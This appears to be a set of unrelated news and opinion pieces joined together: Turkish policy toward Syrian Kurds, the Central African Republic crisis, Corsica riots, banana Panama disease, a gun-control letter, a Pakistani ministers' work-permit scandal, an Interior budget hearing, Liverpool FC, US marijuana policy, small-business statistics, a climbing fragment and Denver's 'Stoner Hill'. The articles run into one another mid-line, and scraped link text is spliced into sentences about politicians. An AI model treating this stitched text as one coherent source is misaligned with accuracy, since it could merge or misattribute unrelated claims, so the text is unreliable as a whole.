Turkey claims that its problem is with Y.P.G., but it is really more generally with Kurdish autonomy in Syria. Turkish officials oppose an autonomous Syrian Kurdistan, as they opposed the Kurdistan Regional Government in Iraq, despite Y.P.G.’s victories over ISIS and its securing of border areas, which stopped the flow of terrorists into Turkey.
Instead of opposing Syrian Kurdistan, Turkey should accept its reality and support a positive, constructive relationship with the Y.P.G.
The Muslim Brotherhood ideology that dominates the Turkish ruling party focuses on creating an Islamic regime in Syria backed by the Muslim Brotherhood party. If left unchanged, those policies will only strengthen ISIS and Assad by repressing the Kurds and secular and tribal groups in Syria who are the most effective forces to defeat ISIS.
The United States and European Union should pressure Turkey to focus on the fight against ISIS, not S.D.F. and Y.P.G., if Turkey is truly committed to protecting the Syrian people from Assad’s repression and ISIS terror.
Join Opinion on Facebook and follow updates on twitter.com/roomfordebate.The crisis in the CAR has metamorphosed from a lightening storm of rebellions, coups and emergency military deployment into a low rumbling groan of desperation from a country whose government and institutions have all but collapsed. Its people now await a new UN peacekeeping mission scheduled to arrive in September 2014.
For the UK, which has no diplomatic representation in the CAR – historically seeing it as being within the French sphere – large international aid organisations and NGOs such a CAFOD, which organised an event in parliament yesterday with the APPG on the Great Lakes, are an important point of contact.
At this event, Sandy Moss, Deputy Head of FCO Central Africa, strove to explain UK policy, whilst Sarah Covington from IHS (a strategic risk advisory) spoke on the current situation and possible future scenarios for the country.
The estimable Bishop Nestor of Bossangoa also provided a “˜front-line’ account of the situation in the country. According to CAFOD, 41,000 people have taken refuge in the bishop’s diocesan compound in Bossangoa and are being provided for by the church.
Security situation
The situation in the CAR currently seems to be stabilising a little after a period of very rapid change from Dec – March 2014 which included the resignation of President Michel Djotodia, election of Catherine Samba-Panza and escalation of anti-Muslim violence.
According to Covington, since March there has been some coalescing of small militia groups to form larger entities with some ideological direction. Such groups are operating in a more premeditated fashion and are likely to try to exert some sort of territorial control. However, it remains unlikely that the country will be partitioned.
Chad
In April, Chad withdrew its armed contingent (numbering 850) from the CAR. It has subsequently closed its northern border with the country. Both these actions signaled the end of Chadian-led attempts to move people around, or out of the country – particularly the Muslim population, which the Chadians had been quite effective at managing.
Elections
Elections are scheduled to take place in early 2015 to facilitate the transfer of power from Samba-Panza’s transitional government to a democratically elected administration. The current failure of the CAR to hold elections has impinged on programmes to re-constitute and re-arm its national army. International donors will not attempt a rearmament programme until after the elections. However, owing to the current fragile security state of the country it is highly unlikely that these will be held when scheduled. Lengthy delays seem inevitable.
UK response
Sandy Moss stated that the UK has contributed largely through technical advice and support of the AU military contingent in the country and via the work of the Department for International Development (DfID).
Additionally, the UK has played a significant role in giving political and diplomatic support so that the international community maintains a strong focus on the CAR. He added, however, that whilst the CAR was an important focus at present, the international community should make sure that its work there does not detract from what is being done in other countries such as Somalia and eastern DRC.
France
Opinion within the room was somewhat split over the role of the French in this crisis. Whilst one floor speaker suggested that with their strong diplomatic and military strength in the country the French should have “˜seen it coming’, both Moss and Covington pointed out that the French had committed significant resources both to keeping M’Poko airport in Bangui open – vital for on-going humanitarian efforts – and for the wider actions of Operation Sangaris (the French military deployment in December 2013).
The region
It was commented that in comparable conflict situations, solutions are greatly dependent on regional actors all “˜pulling in the same direction’. In the CAR this has clearly not been the case, most clearly illustrated by the actions and subsequent withdrawal of Chad. However, whilst regional dynamics are important, the real problem in the country has been a lack of long-term governance.
As Moss says, the priorities in CAR are clear: to halt violence and restore some “˜governance functions’; not necessarily through government though as other institutions such as the churches have greater institutional capacity.
African Arguments is keen to promote good writing and analysis on the CAR. Please get in touch if you would like to make a submission: mt74[at]soas.ac.ukSome 400 people marched peacefully in the Corsica capital Ajaccio on Sunday, following days of rioting on the French island.
The violence started after a group of hooded youths attacked police and firefighters in the underpriviliged estate of Jardins de l'Empereur on Christmas Eve. The estate is home to some 1,700 people, half of them of non-French origin.
A firefighter told French television that "about 20 people armed with iron bars (and) baseball bats" attacked the fire engine on Thursday but were unable to break the windows of the vehicle.
The attack set off anti-Arab rallies in several working-class districts of Ajaccio, with protesters vandalizing a Muslim prayer hall and burning religious books, including copies of the Koran.
R
Watch video 00:38 Hundreds defied the ban on demonstrations in Corsica on Sunday
On Sunday, the authorities declared a ban on public gatherings in Jardins de l'Empereur, and deployed police to block off the low-income area.
The protesters, however, dodged the ban by marching through other parts of Ajaccio and finishing the event at a street leading to Jardins de l'Empereur.
"We fight against scum, not against Arabs!" chanted the protesters on their way towards the area.
"We aren't thugs, we aren't racists," the crowd shouted as they passed by a police station.
One men in his 20s was arrested on Sunday, while the other showed up at the police station and was taken to custody as part of the probe over the unrest.
dj/rg (AFP, Reuters)73 SHARES Facebook Twitter
A recurrence of a devastating banana fungus called Panama Disease continues to destroy crops in Asia and Africa. Though this new strain has yet to majorly affect global markets, the threat is huge to both the world economy as well as food security in developing countries.
The world’s most important fruit is in danger of going extinct, again. The banana is the most widely produced fruit on Earth (with over 100 million tons of bananas being produced annually) and is worth an estimated 5 billion US dollars a year in trade. Beloved as a creamy sweet fruit in the US, annual banana consumption is greater per American (11.9 kg) than apples and oranges combined. Accounting for 99% of all bananas exported on the world market, the Cavendish banana is the only banana much of the world knows.
The Cavendish hasn’t always been the global banana of choice. In fact, the reason for this banana’s ascension is also threatening to wipe it out. 50 years ago the most popular banana in the world was the Gros Michel, a larger, creamier, more flavorful banana than the Cavendish. In the late 1950s a fungus commonly known as Panama Disease (Fusarium oxysporum), pushed the Gros Michel to the brink of extinction, and nearly took the banana industry with it. Growers searched far and wide for a variety that would resist the disease and found its solution in the unlikeliest of places; the Chatsworth House in Derbyshire, England had been growing Cavendish bananas since it received one as a gift in the 1830s, and it is believed that nearly every Cavendish grown around the world today descends from the single plant in Derbyshire.
After successfully recovering from that scare, the banana industry avoided serious threat until in the 1990s a new strain of the Panama Disease fungus. The so called tropical race 4 (or TR4) is a relatively new strain that the Cavendish has no resistance towards. Once again the banana industry is in scrambling to avoid a full scale collapse.
Today, like in 1950, the most important banana variety is known to be susceptible to a fungus that is nearly impossible to eradicate, and difficult to contain. All races of Panama Disease live in soil and infect the root system of a banana plant, eventually destroying the plant via the vascular system. The disease does not only kill the plant, it remains in the soil for decades, rendering the site unfit for banana production. Short of very invasive and destructive soil treatments (which are illegal nearly everywhere), the fungus will be present for about 30 years.
Spreading Panama Disease is really easy too. The fungus lives in soil and when contaminated dirt is carried in the sole of a shoe or the treads of a tire, for example, the spores travel with it. Water runoff carries the disease in into neighboring fields, and since bananas are grown in moist climates, heavy rainfall is a big challenge to containment. Under these conditions, stopping the spread of Panama Disease is exceptionally difficult. On a long enough time scale, the spread of the fungus across a continent is nearly inevitable.
Since Tropical Race 4 was first observed in Taiwan in 1994, some of the places the pernicious pathogen has spread are: China, Australia, The Philippines, Indonesia, Pakistan, and most recently, Jordan and Mozambique. A few major markets have already been affected by the blight. Indonesia’s exports of over 100,000 tons annually have been wiped out, causing annual losses of some $134 million in revenue in Sumatra alone. Data from 2014 indicates that TR4 was responsible for the loss of more than 6,000 hectares in the Philippines and 40,000 hectares in China. Global markets have not felt a significant effect, but major importers like Japan have seen prices increase in the last decade.
For over 500 million people, particularly in the world’s least developed countries, the banana is not a delectable dessert fruit but a starchy staple crop Eastern Africans are especially known for being heavily reliant on bananas for nutrition, where the average person may eat up to 11 bananas a day. Over the course of a year, this means that the average American eats 11.9 kg of banana while the average Ugandan eats 240 kg.
According to an interview with Beatrice Ekesa-Onyango, a Postdoctoral Research Fellow at Bioversity International who’s work focuses on Eastern Africa, “Banana is part of the diet for almost every socioeconomic group in the region, and it is cooked in so many different ways. There are over 1,000 varieties of banana, with different qualities, including nutrition value, taste, and cooking properties.”
For the parts of Africa that rely on the numerous indigenous varieties of banana for nutrition, the original Panama Disease was of little consequence, since the fungus didn’t have any effect on most varieties of banana. However, the threat from TR4 is enormous: in total, approximately 80% of the bananas produced in the world today are susceptible, and many of these are not affected by other races of Panama Disease.
Despite major efforts to keep the disease from entering the African continent, Mozambique became the first African country to report of TR4 in 2014. So far, the fungus has been contained to only the area that was originally infected, but many experts feel that it is only a matter of time before the fungus begins to spread across Africa, either by breaking containment in Mozambique or by entering another country. If, or when, the fungus takes root in East Africa, millions of people might be without their most important food supply.
The future of the banana likely depends on more than just containing TR4. As it stands today, it doesn’t appear that there is a single banana on the planet that could be used as a satisfactory successor to the Cavendish. Creating a new banana by cross breeding has shown potential, while other laboratories are searching for the solution via genetic modification. There is little doubt that with the help of these scientists, the global banana market will find a new mass production banana, and the industry will recover. There is much more uncertainty over how the millions of tons of indigenous bananas will be replaced.
(Visited 381 times, 1 visits today)Oklahoma University grad Sky Woodward [above] was not well-pleased with a Baltimore Sun’s editorial on the subject of gun control. Ms. Woodward hit the laptop to produce the best-written, most blistering attack on anti-gun agitprop I’ve ever read (including my own). Props to the Sun for publishing her letter to the editor. Brickbats for not linking Ms. Woodward’s rebuttal to their editorial (I’ve added it) and the paper’s unshakeable faith in the righteousness of civilian disarmament. Here’s the letter:
After reading “Badly targeted gun gripes,” the editorial published in the Sept. 10 edition of The Baltimore Sun, any reasonably objective person would be left asking the following question: Is this an editorial from the editorial board of The Sun? It appears to be. It purports to be. But is it, really? If it is, then The Sun ought to reconsider the distinction between “editorial” and “polemic” (to say nothing of the distinction between “editorial” and “rant”). You should be embarrassed for publishing something this unprofessional. Glib, smug, sanctimonious and unsupported commentary like this is probably the single biggest factor in the decline of the prestige and relevance of the print press in general and The Sun in particular. As with any issue, there are always points to be made on both sides. The Sun simultaneously fails to make these points while reinforcing its reputation as a shrill mouthpiece for Maryland state government propaganda...
A point-by-point refutation of your editorial would be an exercise in futility, given the absurdity and manifest condescension of many of your statements. You demonstrate a total absence of professionalism throughout the editorial, beginning with your very first sentence, characterizing the debate over Maryland’s undisputed delays in processing background checks for prospective purchasers as “crying.” You go from there to label Marylanders who want to exercise their constitutional right to purchase and possess firearms as paranoid in an obvious attempt to relegate gun owners and would-be purchasers to the fringe of society, even though the number of applications alone is clear evidence that such a characterization is as intellectually dishonest as it is transparently dismissive.
Finally, you say that average gun owners “probably aren’t all that worked up by the backlog….” “Probably?” If the average gun owner or would-be gun owner is relying upon The Sun for information about the security breach inherent in the state’s decision to allow employees outside of the Maryland State Police to help process background checks, he or she would remain woefully uninformed and thus unlikely to have feelings, strong or otherwise. I read The Sun as a daily subscriber — print and electronic — yet the only news coverage of this issue was buried deep in an article Saturday evening covering “a small group” rallying in Baltimore to call on Congress to reduce gun violence.
Had The Sun actually investigated the story, it might have learned that the personal information of handgun applicants scattered around to various government agencies for input included their home addresses, drivers license numbers and Social Security numbers. Instead, the editorial board of The Sun feels so strongly about this issue that it pushes its opinion that gun owners would be paranoid to care about state functionaries tossing such deeply personal identifiers around like Frisbees rather than fairly cover that news event and let the public decide for themselves. Shameful.
If The Sun ever is willing to publish an editorial bereft of this unprofessional sarcasm that dealt with the actual issues at stake with respect to the backlog of unprocessed background checks, the Maryland State Police’s ineffectual efforts over the past few years to deal with that backlog, and what that portends for the looming October 1 implementation date of the Firearms Safety Act of 2013, perhaps then a dialogue might be fostered and your readers may be rewarded.
Instead, you have published a churlish screed totally devoid of journalistic integrity. The Sun should be held to a higher standard, and Maryland and its citizens deserve a better newspaper, or at least a better effort from the paper they have. You have the audacity to write about hidden agendas. To which one can only reply, really?
Sky Woodward, TowsonISLAMABAD: After Panamagate, another scandal has surfaced as one more member of the federal cabinet, Ahsan Iqbal, who oversees the $54 billion China-Pakistan Economic Corridor (CPEC) project, is found to be a holder of Iqama (work permit) of Saudi Arabia.
He is said to be the fourth cabinet member to have held a foreign work permit, the others being Prime Minister Nawaz Sharif, Defence Minister Khawaja Asif and Finance Minister Ishaq Dar — holders of Iqama of the United Arab Emirates (UAE).
According to media reports, Ahsan Iqbal, Minister for Planning and Development, obtained Iqama from a Madina-based firm.
Many attempts to contact him were in vain.
However, according to the media reports, he has confirmed that he held the kingdom’s work/residence permit for two years.
PTI decides to bring all Iqama-holder cabinet members to court
“I worked in Madina Munawarah 2004-06 afterwards retained Iqama without receiving any compensation for frequent travel hence no illegal act,” he said in a Twitter message.
In a statement issued on Wednesday, a spokesman for the planning and development ministry said Mr Iqbal had served as an adviser to the governor of Madina from 2004 to 2006 on a digital economy project.
It claimed that the minister had not taken any salary for the project since 2006, adding that he had declared his Iqama in his ‘documents’ in 2013.
The spokesman said Mr Iqbal was not doing business in any foreign country and after the expiry of his Iqama it was not renewed.
Pakistan Tehreek-i-Insaf chairman Imran Khan termed dual-office holding by federal cabinet members ‘criminal enterprise’ and said they were ‘criminals of the nation’.
“Have you ever seen in democracy that a prime minister of a country serves as a sale manager after getting Iqama. Similarly, we heard that Defence Minister Khawaja has Iqama of another Gulf state,” the PTI chief said at a press conference on Wednesday.
Calling Mr Iqbal a ‘pseudo intellectual’ and ‘Aristotle of PML-N’, he said the minister also tried to hide his ‘corruption’ behind Islam that was why he got Iqama of Saudi Arabia.
Mr Khan said his party had decided to bring all Iqama-holder cabinet members to a court of law. “Our leaders Usman Dar and Firdous Ashiq Awan, who better know the background of Khawaja Asif, will soon file a petition against him,” he said.
PTI spokesman Fawad Chaudhry said: “It is sad that Nawaz Sharif, who is prime minister of Pakistan, is also serving as a marketing manager in the UAE. Khawaja Asif, who is our defence minister and handles all security forces of the country, is a Munshi (record keeper) of a UAE-based firm. Finance Minister Ishaq Dar, who runs the country’s finances, is also an employee of a firm in the UAE, and Ahsan Iqbal, who is the country’s planning minister and supervising CPEC, is a security guard of a Madina-based firm.
“After Panamagate, a new scandal of Iqamas has been unearthed and it is quite shameful for the nation that our rulers keep dual offices and are serving on petty positions in Arab states.”
The PTI spokesman said ruling Pakistan Muslim League-Nawaz (PML-N) leaders obtained work permits of foreign countries not to get jobs but to have an ‘escape way’ when they would not be in power and could be made accountable for their wrongdoings.
Published in Dawn, July 27th, 2017Senators of both parties on Tuesday poked holes in President Trump’s budget request for the Interior Department, which cuts funding for the agency by 11 percent.
During a Tuesday hearing, Sen. Lisa Murkowski Lisa Ann MurkowskiHouse to push back at Trump on border GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration Pence meeting with Senate GOP ahead of vote to block emergency declaration MORE (R-Alaska) told Interior Secretary Ryan Zinke that the budget is “better than what we have seen in the last few years,” but that it’s still not going anywhere on Capitol hill.
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"I don't expect many of [the cuts] to become a reality, especially those that target popular programs," Murkowski, the chair of the Energy and Natural Resources Committee, said.
Murkowski singled out proposed cuts to a royalty-sharing program for offshore oil drilling, though other senators raised concerns about funding for conservation and outdoor efforts like the Land and Water Conservation Fund and the operations budget at the National Park Service.
“I find the budget so focused on the oil and natural gas aspect of revenue that I think that you are neglecting the fact that the outdoor economy generates $887 billion a year,” Sen. Maria Cantwell Maria Elaine CantwellThis week: Congress, Trump set for showdown on emergency declaration Senate reignites blue slip war over Trump court picks Senate votes to extend key funding mechanism for parks MORE (D-Wash.), the ranking member, said.
"I want to make sure that we are putting pedal to the metal as it relates to the outdoor economy ”
Zinke told the committee that the $11.7 billion budget prioritizes spending for maintenance while cutting funding for other Interior efforts, including land acquisition.
“This is what a balanced budget looks like,” he said. “There’s tough decisions throughout, but if we want to balance the budget, this is the starting point for what that looks like.”
Zinke is scheduled to testify twice more on Trump’s budget request this week.Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Lazar Markovic and Alberto Moreno will get their chance at Anfield this season – but must grasp the opportunity when it arrives.
That was the message from Brendan Rodgers as he assessed the futures of two players who arrived for large fees of £20m and £12m respectively last year but who have failed to progress as had been hoped.
Spaniard Moreno has found himself ousted from the left back position by an 18-year-old arrival from Charlton in the shape of Joe Gomez while Serbian Markovic has become ever more peripheral and is seemingly ridden with self doubt and crippling nerves every time he steps on the pitch.
Rodgers told his Saturday morning press conference: “Both players are very talented, clearly it’s why they’ve come to here (Liverpool).
“Maybe for the first time in their footballing careers, especially being so young, they maybe find themselves not being a regular.
“They know very well with the conversations we’ve had that it’s a long season, a tough season and they’ll certainly be needed.
“It’s just about when the opportunity comes that you take that opportunity and keep yourself in the team. There’s no player here who hasn’t been told that. They’re fighting and working well and when the opportunity comes to play then I’m sure they’ll both be ready.”
Moreno’s path to return to the first team looks an easier one than Markovic’s, with Rodgers admitting that game time for Gomez may have to be managed at some stage and confirming he sees him very much as a centre half of the future.
The Northern Irishman said: “I think it’s about assessing and managing where he’s at (Gomez).
“He’d obviously played games and was managed very, very well at Charlton, had 16 starts. He’s come into here and I wanted to assess, like I do with all the players but especially the younger ones, where his path lay. Does he need a loan or does he need to stay here? And very quickly he showed me he can be a really important member of our squad.
I spoke to Jon Walters and thanked him for giving Gomez that experience
“He can play in a few positions, centre half being his main one, but he’s got the flexibility and the quality to play at full-back.
“He’s definitely a player that will add great value to our squad, like you saw last week, against a really tough opponent.”
Rodgers revealed how he has spoken to that opponent, Stoke’s Jonathan Walters, to ‘thank him’ for giving Gomez such a challenge in his first Premeir League start.
“For a young player of 18 years of age, to make his Premier League debut away at Stoke against an outstanding player in Jonathan Walters, with the experience that he has, and to cope as well as he did.
“I spoke to Jonathan Walters after the game and thanked him for giving him that experience! He spoke well of him as well and knew he was a tough opponent to play against.
“He’s 18 but what struck me when I first met him was his maturity, he’s a very humble boy, he recognises the opportunity.
“When you look when he was 14 or 15 he had the chance to leave Charltoin but he wanted to stay, he felt there was the chance to get into the first team and he stayed and did exactly that. In the summer he had a choice to make with a number of high profile clubs wanting him but he felt that the best place for him to develop as a player was at Liverpool.
“He’s done that, got into the team. I’m sure there will be moments along the way when we need to manage him.
"At the moment he’s enjoying it but he knows there’s a lot to learn.”2017 was the year the other shoe didn’t drop on the nation’s marijuana industry.
Under President Obama, the federal government grudgingly accepted the states’ gradual liberalization of their marijuana policies. While marijuana remained illegal under federal law, an increasing number of states began to authorize its production, distribution and use.
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This official hands-off policy from the federal government clearly had an impact in the states. By the time Obama’s second term was coming to a close, eight states had voted to tax and regulate marijuana for adult use, and more than half the states had authorized marijuana for the treatment of certain medical conditions. It seemed that a tipping point was fast approaching and that the days of the federal marijuana prohibition itself were likely numbered.
Those hopes were significantly dashed, however, when Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE became the 45th president and appointed Jeff Sessions Jefferson (Jeff) Beauregard SessionsTrump says he hasn't spoken to Barr about Mueller report Ex-Trump aide: Can’t imagine Mueller not giving House a ‘roadmap’ to impeachment Rosenstein: My time at DOJ is 'coming to an end' MORE, a long-time marijuana opponent, as attorney general. Some worried that Sessions would reverse Holder’s policy of permitting state experimentation with marijuana law reform and would bring the full brunt of federal law enforcement to bear on individuals and businesses, notwithstanding state laws purporting to authorize their conduct.
As the Trump administration ends its first year in office, however, little if anything has changed. Although Sessions’s rhetoric against marijuana and those who consume it has continued unabated, the Obama administration’s permissive approach to marijuana law reform remains the law of the land. When asked about his administration’s policy on marijuana in November, Sessions allowed that it was no different from that of his predecessors.
In fact, while Sessions has undone many of his predecessors’ enforcement memoranda, he has left intact those regarding marijuana. Furthermore, Congress continues to extend its prohibition of Justice Department enforcement actions in each short-term spending bill it passes, protecting at least medical marijuana states from the prospect of a federal crackdown.
Thus, as 2017 becomes 2018, marijuana law reform in the states enjoys exactly the same protections it did a year ago. Why is that? For one thing, there is only so much that the federal government can do about the states choosing to legalize marijuana. Neither by fiat nor by court order can the federal government require the states to criminalize marijuana or to assist the federal government in doing so.
The only real power the federal government has in this arena is the ability to enforce its own criminal laws, and even there the government’s clout is quite limited. Nearly all drug enforcement happens at the state and local level and it would appear that the federal government has neither the resources nor the will to change that.
And there is reason to believe that the prospect of initiating a criminal crackdown in marijuana states will be more, rather than less, daunting in the years ahead.
With a recreational marijuana industry opening its doors in California on Jan. 1, the genie of state marijuana law reform will become that much harder to get back into the bottle. The opening of retail stores in California is a sign that the nation’s largest marijuana market is finally going legit. California has been the nation’s leading producer of marijuana for generations, but has gotten serious about taxing and regulating that industry only in the last few years.
If all goes well, the industry could generate tens of thousands of jobs and as much as $1 billion in tax revenue. Meanwhile, with support for marijuana legalization at all-time highs, law reform is expanding around the country, with many state legislatures gearing up to consider legalization bills. As marijuana law reform moves from the deep blue West into purple and even red states such as Florida, Maine and Missouri, more state governments, business people and individuals will have a stake in legalization’s survival.
Events are moving quickly on the international level as well. Canada is expected to implement legalization nationwide on July 1, 2018, creating a 30 million-person market and a magnet for capital wary of investing in an American marijuana industry built on legal quicksand. Canadian legalization also threatens to undo the existing treaties that prohibit the legalization of marijuana and could lead to a cascade of countries looking to liberalize their own laws.
With each day that passes, therefore, marijuana law reform becomes more difficult for the federal government to shut down. While the events of the last few years have made fools of those who try to predict what Trump and his administration will do, practical and political considerations all seem to point in the direction of continued federal acquiescence to an increasingly popular policy in the states.
Sam Kamin is the Vicente Sederberg Professor of Marijuana Law and Policy at the University of Denver. Follow him on Twitter @ProfSamKamin.Small firms that employ twenty or fewer people make up 89.5% of all US businesses. These small firms are what power the American economy. In 2008, small businesses produced 46% of the US GDP. Day in, day out – small firms prove that businesses don’t have to be big to be successful. Innovative and powerful brands like Death Wish Coffee, Johnny Cupcakes, and Askinosie Chocolate are just a few examples. Take a look at the facts and figures on this infographic to see that small staffs can still generate big profits.
Small Staff, Big Profits, and the American Spirit
The U.S. Census Bureau defines a “firm” as “a business organization consisting of one or more domestic establishments in the same state and industry that were specified under common ownership or control.” In other words, it’s a business with one or more locations owned by the same person or group.
There are a total of about 5.78 million firms in the United States. Of those 89.5%, about 5.17 million, employ 20 or fewer people. Small businesses such as these dominate the American economy.
In every state, small businesses make up the majority of firms. Take a look below, but first note that these numbers don’t take into account “non-employer businesses,” which do not have employees.
Click here to view our “Small Businesses Stand Stall” Infographic.
Small Businesses Dominate America – Bigger Isn’t Necessarily Better!
Remember how we mentioned non-employer businesses? Well, if you were curious, there were about 23 million of them in 2013. So technically, if you wanted to add them into the firms referenced above, businesses that have fewer than 20 workers make up 97.9% of the field.
In 2008, small businesses produced 46% of the private, non-farm GDP.
Since 1995, 65% of new jobs created were at small firms.
Small businesses are innovative, too! In a study of firms that produce a lot of patents, it was found that small businesses produce 16 times as many patents as their larger competitors!
Small business start-ups are more common, and the rate of small business failures is falling, according to the U.S. Small Business Administration. Since 1990, larger businesses have cut 4 million jobs, but smaller businesses have added twice that — 8 million new jobs.
If you added up all of the commercial space in the United States, 30% to 50% of it would be occupied by small businesses. That’s 20 to 34 billion square feet.
Small Business, Big Revenues
Here are some examples of businesses that keep it small but still rake in the dough.
Askinosie Chocolate Chocolate Manufacturer Headquarters: Springfield, Missouri Number of Employees: 17 Revenue Per Employee: $117,647.06 Johnny Cupcakes Clothing Company Headquarters: Hull, Massachusetts Number of Employees: 30 Revenue Per Employee: $126,666.67 McRoskey Mattress Mattress & Box Spring Manufacturer Headquarters: San Francisco, California Number of Employees: 30 Revenue Per Employee: $233,333.33 Tarte Cosmetics Cosmetic & Skincare Company Headquarters: New York City, New York Number of Employees: 34 Revenue Per Employee: $352,941.18 Fresno First Bank Financial Services Headquarters: Fresno, California Number of Employees: 33 Revenue Per Employee: $363,636.36 Afterburner Team Building & Leadership Development Headquarters: Atlanta Georgia Number of Employees: 21 Revenue Per Employee: $428,571.43 Death Wish Coffee Coffee Company & Distributor Headquarters: Round Lake, New York Number of Employees: 12 Revenue Per Employee: $500,000.00 Headsets.com Headset Retailer Headquarters: San Francisco, California Number of Employees: 44 Revenue Per Employee: $681,818.18 Adventure Life Travel & Private Tour Company Headquarters: Missoula, Montana Number of Employees: 16 Revenue Per Employee: $687,500.00 Cue Ball Group Venture Capital Firm Headquarters: Boston, Massachusetts Number of Employees: 12 Revenue Per Employee: $16,666,666.67
Sources:
http://www.forbes.com/best-small-companies/list/
https://www.entrepreneur.com/slideshow/269905
https://www.sba.gov/managing-business/running-business |
bolt would have caught him before he struck the ground.
Finally, it’s possible that Sederstrom would have survived his fall had he been wearing a helmet. One of the members of the Inyo County SAR team who found Sederstrom confirmed that, “the main injury was in an area that would have been covered by a helmet.” Of course, without access to an autopsy report, we can’t confirm that the head injury was the cause of death.
This article was published in Rock and Ice 227 (July 2015).Continue Reading
The city responded to residents’ complaints by fencing off a significant portion of the public Commons Park last spring. Six months later, at the start of the cold weather, the fence came down. At one point, Denver even planned to spend $200,000 to shave down part of the hill.
That idea has since been scrapped, but a longer-term redesign project is under way, guided by input from a resident-heavy committee. And Denver is now installing surveillance cameras, funded by Cohen’s RPA, that will allow police and prosecutors to see nearly everything that happens on the hill.
Changes are coming to Commons Park. Yet Stoner Hill, its young denizens insist, will never go away.
The land around Commons Park was first a commercial outpost, then a blighted industrial outskirt, and is now a textbook case in residential redevelopment. But in the beginning, the Platte Valley was home to the Arapaho. The tribe established an expansive camp at the confluence of the South Platte River and Cherry Creek centuries ago, following its migration from the East.
A white mining party’s arrival in 1858 changed everything. With the discovery of gold a few miles away, the area became the front door to Colorado’s gold rush, and the site of the new settlement of Auraria, then Denver. At first the nomadic Southern Arapaho welcomed their new neighbors — but they’d be driven out of the state entirely by 1870, hurried on by the Sand Creek Massacre.
By 1887, the riverfront was home to an amusement park, with a stone-turreted museum exactly where Stoner Hill is today. The promoters named it the Castle of Culture and Commerce — but it was industry that came to rule the area, as new rail lines and viaducts threaded the land behind Union Station.
The castle burned in 1951, and its bones soon disappeared into the industrial mire. East of Union Station, the warehouses of lower downtown would also deteriorate in the decades to come, with vacancy rates reaching nearly 40 percent, according to the Urban Land Institute. For a long time, the riverfront was home to no one but the homeless. A hulking abandoned flour mill nicknamed “The Silos” was the Platte Valley’s most notorious squat, rumored to be the site of deadly falls, a graveyard for abandoned infants, and the hideout of a mysterious millionaire.
The city had plans for the place, though. In the 1970s, a railroad company had envisoned a major residential community there, but those plans fell flat. So did wealthy wildcatter Marvin Davis’s idea of locating a new convention center there. But in the late ’80s and early ’90s, then-mayor Federico Peña orchestrated a deal between developers and railroad officials. By demolishing warehouses and consolidating rail lines into a central channel, hundreds of acres would be opened for development in the Central Platte Valley. Most of the land along the South Platte became Riverfront Park, a development led by East West Partners — except for the twenty acres that the city bought for Commons Park.
“To a certain degree, they thought of the project as an urban resort,” the Urban Land Institute reported in a case study. The park and the first residential buildings opened in 2001. Pedestrian bridges across the rails and the river connected the new neighborhood to both the downtown boom and gentrifying Highland, as did links to the city’s network of cycling and walking paths.
Thousands of people have since moved into the Platte Valley, in a remarkable ballet of public and private development. In contrast, there’s Stoner Hill — a reminder that the riverfront was once a last resort, not an urban resort.
The first people to crest the hill each day are those who sleep under the highway bridges and railroad trestles that cross the South Platte. They’re the hill’s hardcore, young adults and kids as young as thirteen from Denver and everywhere else, lugging bungee-corded bags and heavy layers. They don’t sleep here, because Denver parks are off limits after 11 p.m.; they avoid downtown, too, because the city banned so-called urban camping in 2012, and it’s far easier to escape patrols in the urban wild along the river.
By noon the hilltop is a sunny bazaar, merry with talk of travel plans and survival tactics. Within a few hours, fifty or a hundred more people may have arrived by longboard and light rail. Someone turns on music, and a few people spin poi spheres on chains to the rhythm. Others lie with their dogs, read, craft jewelry or share a bong with friends.
A shallow crater at the summit gives sanctuary from public view. Visitors, including tourists and construction workers, can buy blowtorched rips of marijuana wax for a dollar. Their money partially powers a micro-economy on Stoner Hill, and a quick call of “six up” or “ranger danger” is enough warning to avoid most charges of public consumption or illegal sale. As the sun sets across the Platte, a line of silhouettes watches from the berm. On most nights, the crowd will stay here until ten or eleven.
The hill is the central gathering point for the city’s street youth — homeless or otherwise. That distinction used to belong to downtown’s Skyline Park, until the city demolished the once-prized design and reprogrammed the space. Today, it’s almost guaranteed that a young person new to Denver’s urban outdoors will end up at Stoner Hill.
“When I come to here, I didn’t find nobody. I didn’t have no friends. I didn’t know nobody,” says twenty-year-old Nachi, who moved from Belgium to Denver when he was seventeen. “I started coming downtown, I started seeing kids my age.”
And the hill is hard to beat, as chill spots go.
At home on Stoner Hill: Lyllée. Anthony Camera
The people who have been here longest say that Stoner Hill is both a sanctuary and a temptation for young people on the streets. It’s a place to go for friends and for safety, but also for reminders of old habits. Some of its regulars say they love their lives — that they’re traveling a road of discovery, that they have no interest in the mainstream, in stability or a job. Just as many hope for stability, and at least have found community here.
In its one-night survey earlier this year, the Metro Denver Homeless Initiative estimated that there might be 355 homeless people younger than 25 in the metro region. In 2013, though, the initiative reported a number higher than 900.
The hill itself might see anywhere from a couple dozen to a couple hundred young visitors per day, depending on the season. Groups like 180 Street Outreach and Dry Bones Denver frequent the park, too, aiming to connect the younger crowd with services and resources. Most of the regulars also stop by the downtown nonprofits Sox Place and Urban Peak; between the two, they can find daytime meals, laundry services, showers and a friendly ear. Urban Peak also has most of the city’s shelter beds for youth, and they’re almost always full.
Some on the hill collect food assistance, while others refuse public services, seeing themselves as independent because they ask for spare change instead. Others are waiting to get into transitional housing. Many in both camps have suffered tremendous losses and rejections; all live in some degree of danger.
“A lot of people have been fucking up, but you can’t help but love the people up here,” says DJ, a 21-year-old who has been coming to the hill for years, since his parents’ deaths. “You can’t help but love the land, and how holy this land is. This is sacred land.”
Twenty-two-year-old Kalan is one of the longest-tenured regulars on the hill: It has been his constant for a decade. His friends here have seen him through a year of homelessness, on to a job and a promotion at a sandwich shop. “A lot of us find it home,” he says. “It hurt us when we saw the fence. We all kind of didn’t want to come back up here. We all wanted to tear the fence down.”
At home on Stoner Hill: Eric Jackson. Anthony Camera
The chain-link fence landed just before 4/20, the stoner holiday in April, when the crowd was at a party in another public park. Workers with the Denver Department of Parks and Recreation ran the fence around the base of the hill, past the trees on its shoulders, and on around the huge sculpture in the field to the northeast, at a cost of about $12,000.
Eric Jackson, one of the oldest of the hill regulars, saw it happen.
